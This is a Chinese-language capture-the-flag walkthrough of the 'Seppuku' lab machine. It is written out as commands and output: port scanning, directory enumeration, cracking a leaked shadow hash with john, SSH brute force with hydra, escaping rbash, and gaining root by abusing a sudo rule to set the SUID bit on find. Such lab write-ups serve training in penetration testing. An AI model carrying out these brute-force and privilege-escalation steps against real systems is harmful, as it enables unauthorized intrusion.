getwebshell
: 目录扫描 → 发现密码字典 → 发现用户名seppuku
→ 发现id_rsa
→ 利用hyrda
爆破用户名用户名seppuku
用发现的密码字典 → 进入内网
提 权 思 路
: 发现隐藏的敏感信息 → 用户samurai
的密码 → 登录samurai
→ 发现sudo
提权 → 需要tanto
用户下创建文件 → 利用之前发现的id_rsa
登录tanto
→ 创建提权文件 → samurai
利用sudo
提权
192.168.45.188
192.168.178.90
sudo nmap --min-rate 10000 -p- 192.168.178.90
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
7080/tcp open empowerid
7601/tcp open unknown
8088/tcp open radan-http
开放的端口-→21,22,80,139,445,7080,7601,8088
看上去开放的端口挺多 主要还是21、80、445以后其他的http
端口
# tcp探测
sudo nmap -sT -sV -O -sC -p21,22,80,139,445,7080,7601,8088 192.168.178.90
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 80/tcp open http nginx 1.14.2 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: 445/tcp open V Samba smbd 4.9.5-Debian (workgroup: 7080/tcp open ssl/empowerid?
7601/tcp open http Apache httpd 2.4.38 ((Debian))
8088/tcp open http LiteSpeed httpd
通过nmap
探测获得FTP
的版本信息,可以大致推测FTP的配置文件位置
namp
探测版本为vsftpd 3.0.3
# vsftpd 3.0.3配置文件一般在如下位置
/etc/vsftpd.conf
尝试匿名账号anonymous
以及无密码进行登录测试
# 利用ftp协议+ip进行连接测试
ftp 192.168.178.90
Name: anonymous
如果后面没思路的话就来爆破ftp
通过Nmap
探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
# 搜索对应脚本
msf6 → searchsploit openssh 7.9
通过Nmap
探测获得SSH的版本信息,在获取到某个用户名之后尝试
sudo ssh root @192.168.178.90 -v
显示publickey
、password
就是支持密钥以及密码登录
因为支持密码登录,尝试root
账户的密码弱密码尝试
sudo ssh root @192.168.178.90 -p 22
# 密码尝试
password → root
弱密码尝试失败
因为支持密码登录,尝试root
账户的密码爆破,利用工具hydra
,线程-t为6
sudo hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.178.90 ssh -s 22
挂着工具进行爆破,我们尝试后续信息收集
连接成功则SMB没有开启密码
# 利用-L查看SMB的内容
smbclient -L //192.168.178.90
访问 http://192.168.178.90:80
发现需要登录才可以访问
访问 http://192.168.178.90:7601
发现是一张图片
# 包括文章中是否写明一些敏感信息
curl http://192.168.178.90:7601
得到了一个名词Seppuku
,如果没思路的话大概率这个就是用户名
dirsearch -u http://192.168.178.90:7601 -x 302,403
信息收集-目录扫描(后缀)
信息收集-目录扫描(深度/大字典)
信息收集-目录扫描(深度/大字典后缀)
一个编辑器的界面,点了没啥
没东西
有很多内容,下载下来进行查看
# 首先下载
wget http://192.168.178.90:7601/secret/[文件]
┌──(root㉿Kali)-[/home/bachang/Seppuku]
└─# cat hostname
seppuku
得到一个疑似/etc/passwd
的备份
┌──(root㉿Kali)-[/home/bachang/Seppuku]
└─# cat passwd.bak
root:x:0:0:root:/root:/bin/bash
...
thpot:x:122:65534:Honeypot user,,,:/usr/share/thpot:/dev/null
postfix:x:123:128::/var/spool/postfix:/usr/sbin/nologin
nm-open:x:124:130:NetworkManager OpenVPN,,,:/var/lib/open/chroot:/usr/sbin/nologin
statd:x:125:65534::/var/lib/nfs:/usr/sbin/nologin
sshd:x:126:65534::/run/sshd:/usr/sbin/nologin
nm-openconnect:x:127:131:NetworkManager OpenConnect plugin,,,:/var/lib/NetworkManager:/usr/sbin/nologin
rabbit-hole:x:1001:1001:,,,:/home/rabbit-hole:/bin/bash
得到一个账户名rabbit-hole
┌──(root㉿Kali)-[/home/bachang/Seppuku]
└─# cat shadow.bak
root:!:18327:0:99999:7:::
daemon:*:17937:0:99999:7:::
....
r @bbit-hole:$6$2/SxUdFc$Es9XfSBlKCG8fadku1zyt/HPTYz3Rj7m4bRzovjHxX4WmIMO7rz4j/auR/V.yCPy2MKBLBahX29Y3DWkR6oT..:18395:0:99999:7:::
得到该用户加密密码$6$2/SxUdFc$Es9XfSBlKCG8fadku1zyt
┌──(root㉿Kali)-[/home/bachang/Seppuku]
└─# echo '$6$2/SxUdFc$Es9XfSBlKCG8fadku1zyt/HPTYz3Rj7m4bRzovjHxX4WmIMO7rz4j/auR/V.yCPy2MKBLBahX29Y3DWkR6oT..' → pass.hash
┌──(root㉿Kali)-[/home/bachang/Seppuku]
└─# john pass.hash
a1b2c3 (?)
得到账户rabbit-hole
的密码a1b2c3
获取账号密码之后利用SSH进行登录
sudo ssh rabbit-hole @192.168.178.90 -p22
password → a1b2c3
因为我们有一本系统的密码字典,尝试爆破用户seppuku
sudo hydra -l seppuku -P password.lst -t 6 -vV 192.168.178.90 ssh -s 22
爆破出来密码是eeyoree
获取账号密码之后利用SSH进行登录
sudo ssh seppuku @192.168.178.90 -p22
password → eeyoree
进入之后发现是rbash
需要进行逃逸
SSH连接到远程服务器上发现各种命令受限利用-t逃逸
# -t 增加伪终端 bash -- 表示传入bash的shell 不加载用户配置
sudo ssh seppuku @192.168.178.90 -p22 -t "bash --noprofile"
password → eeyoree
# ssh登录之后获取环境变量
echo $PATH
# 重写环境变量
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
seppuku @seppuku:~$ find / -name local.txt 2→/dev/null
/home/seppuku/local.txt
seppuku @seppuku:~$ cat /home/seppuku/local.txt
3dc090a738a7e01f80f592abe2a9e284
提权的本质在于枚举
,在获取shell之后我们要进行内网信息的收集,都是为了提权
做准备
较老的Ubuntu
以及Linux系统可以overlayfs
提权
# 确定发行版本
seppuku @seppuku:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description: Debian GNU/Linux 10 (buster)
Release: 10
Codename: buster
发行版本为Debian
,不太能overlayfs
提权
较低的内核版本可以进行脏牛
提权
seppuku @seppuku:~$ uname -a
Linux seppuku 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64 GNU/Linux
内核版本为4.19.0
seppuku @seppuku:~$ id
uid=1000(seppuku) gid=1000(seppuku) groups=1000(seppuku),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
查找具有sudo
权限,且不需要密码的可提权文件
如果发现sudo -l
有东西的话 访问 https://gtfobins.github.io
寻找
# 利用sudo -l寻找
seppuku @seppuku:~$ sudo -l
Matching Defaults entries for seppuku on seppuku:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User seppuku may run the following commands on seppuku:
(ALL) NOPASSWD: /usr/bin/ln -sf /root/ /tmp/
(ALL) NOPASSWD: /usr/bin/ln -sf /root/ /tmp/
查阅了一下是建立连接与覆盖 ,没有什么好的绕过思路
如果发现u=s
有东西的话 访问 https://gtfobins.github.io
寻找
# -perm 文件权限
find / -perm -u=s -type f 2→/dev/null
如果/etc/passwd
具有写入权限可以尝试覆盖密码提权
seppuku @seppuku:~$ ls -al /etc/passwd
-rw-r--r-- 1 root root 1585 May 13 2020 /etc/passwd
顺手查了一下里面有没有之前读出来的另一个用户,发现没有
/etc/shadow
具有写入权限可以尝试覆盖密码提权/etc/shadow
具有可读权限可以爆破密码seppuku @seppuku:~$ ls -al /etc/shadow
-rw-r----- 1 root shadow 1253 Aug 31 2020 /etc/shadow
高版本下suid
列举不全,查看getcap
# 探查有CAP_SETUID标志的进程
seppuku @seppuku:~$ /usr/sbin/getcap -r / 2→/dev/null
/usr/bin/ping = cap_net_raw+ep
查找所有的定时任务,并且查看定时任务是否具有修改权限
# 寻找定时任务并修改进行提权
cat /etc/crontab
/home
目录下的用户可以做账号字典尝试弱密码
以及爆破
看到了3个用户,其余两个用户可以尝试制作字典以及弱口令爆破
seppuku @seppuku:~$ ls -al /home
total 20
drwxr-xr-x 3 samurai samurai 4096 Jul 8 2020 samurai
drwxr-xr-x 3 seppuku seppuku 4096 Jul 30 04:16 seppuku
drwxr-xr-x 4 tanto tanto 4096 Sep 1 2020 tanto
# 例如.ssh找密码 ./*_history找历史记录等
seppuku @seppuku:~$ ls -al /home/seppuku
total 36
drwxr-xr-x 3 seppuku seppuku 4096 Jul 30 04:16 .
drwxr-xr-x 5 root root 4096 May 13 2020 ..
-rw------- 1 seppuku seppuku 338 Jul 30 04:16 .bash_history
-rw-r--r-- 1 seppuku seppuku 220 May 13 2020 .bash_logout
-rw-r--r-- 1 seppuku seppuku 3526 May 13 2020 .bashrc
drwx------ 3 seppuku seppuku 4096 May 13 2020 .gnupg
-rw-r--r-- 1 seppuku seppuku 33 Jul 30 03:43 local.txt
-rw-r--r-- 1 root root 20 May 13 2020 .passwd
-rw-r--r-- 1 seppuku seppuku 807 May 13 2020 .profile
看到了一个.passwd
的文件进行查看
seppuku @seppuku:~$ cat .passwd
12345685213456! @! @A#CTL{n}```#CTL{n}得到了一个密码进行尝试#CTL{n}```shell#CTL{n}# root提权(失败)
seppuku @seppuku:~$ su
Password:
su: Authentication failure
# samurai登录成功
seppuku @seppuku:~$ su samurai
Password:
samurai @seppuku:/home/seppuku$ sudo -l
Matching Defaults entries for samurai on seppuku:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User samurai may run the following commands on seppuku:
(ALL) NOPASSWD: /../../../../../../home/tanto/.cgi_bin/bin /tmp/*
通过这条命令发现可以sudo
执行/home/tanto/.cgi_bin/bin
和/tmp/*
由于/tmp
利用ln
和/root
绑了,所以主要是在tanto
用户下创建
发现这样用户也是rbash
受限,并且我们还需要知道tanto
用户的密码才行
sudo chmod 600 private
sudo ssh -i private tanto @192.168.178.90 -p22
成功登录
发现受限shell
需要进行逃逸
# -t 增加伪终端 bash -- 表示传入bash的shell 不加载用户配置
sudo ssh -i private tanto @192.168.178.90 -p22 -t "bash --noprofile"
# ssh登录之后获取环境变量
echo $PATH
# 重写环境变量
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
发现没有对应目录,创建新的目录
写入切换bash
的命令写入到bin
文件中
echo '#!/bin/sh
chmod +s /usr/bin/find' → bin
执行提示命令没发现,samurai
可能也要绕过rbash
# -t 增加伪终端 bash -- 表示传入bash的shell 不加载用户配置
sudo ssh samurai @192.168.178.90 -p22 -t "bash --noprofile"
password → 12345685213456! @! @A#CTL{n}```#CTL{n}最后发现是建错文件夹,命令敲错了
```shell
# 利用suid的find提权
samurai @seppuku:~$ sudo /../../../../../../home/tanto/.cgi_bin/bin /tmp/*
samurai @seppuku:~$ find . -exec /bin/bash -p \; -quit
bash-5.0# id
uid=1001(samurai) gid=1002(samurai) euid=0(root) egid=0(root) groups=0(root),1002(samurai)
bash-5.0#
提权成功
bash-5.0# cat /root/proof.txt
4a24681381de4d623801b1e8cb243a64
完结撒花~
在目录扫描的时候没扫全,导致后续不是很连贯,接下来在目录扫描的时候可以用两个扫描器进行扫描对比,是否会存在遗漏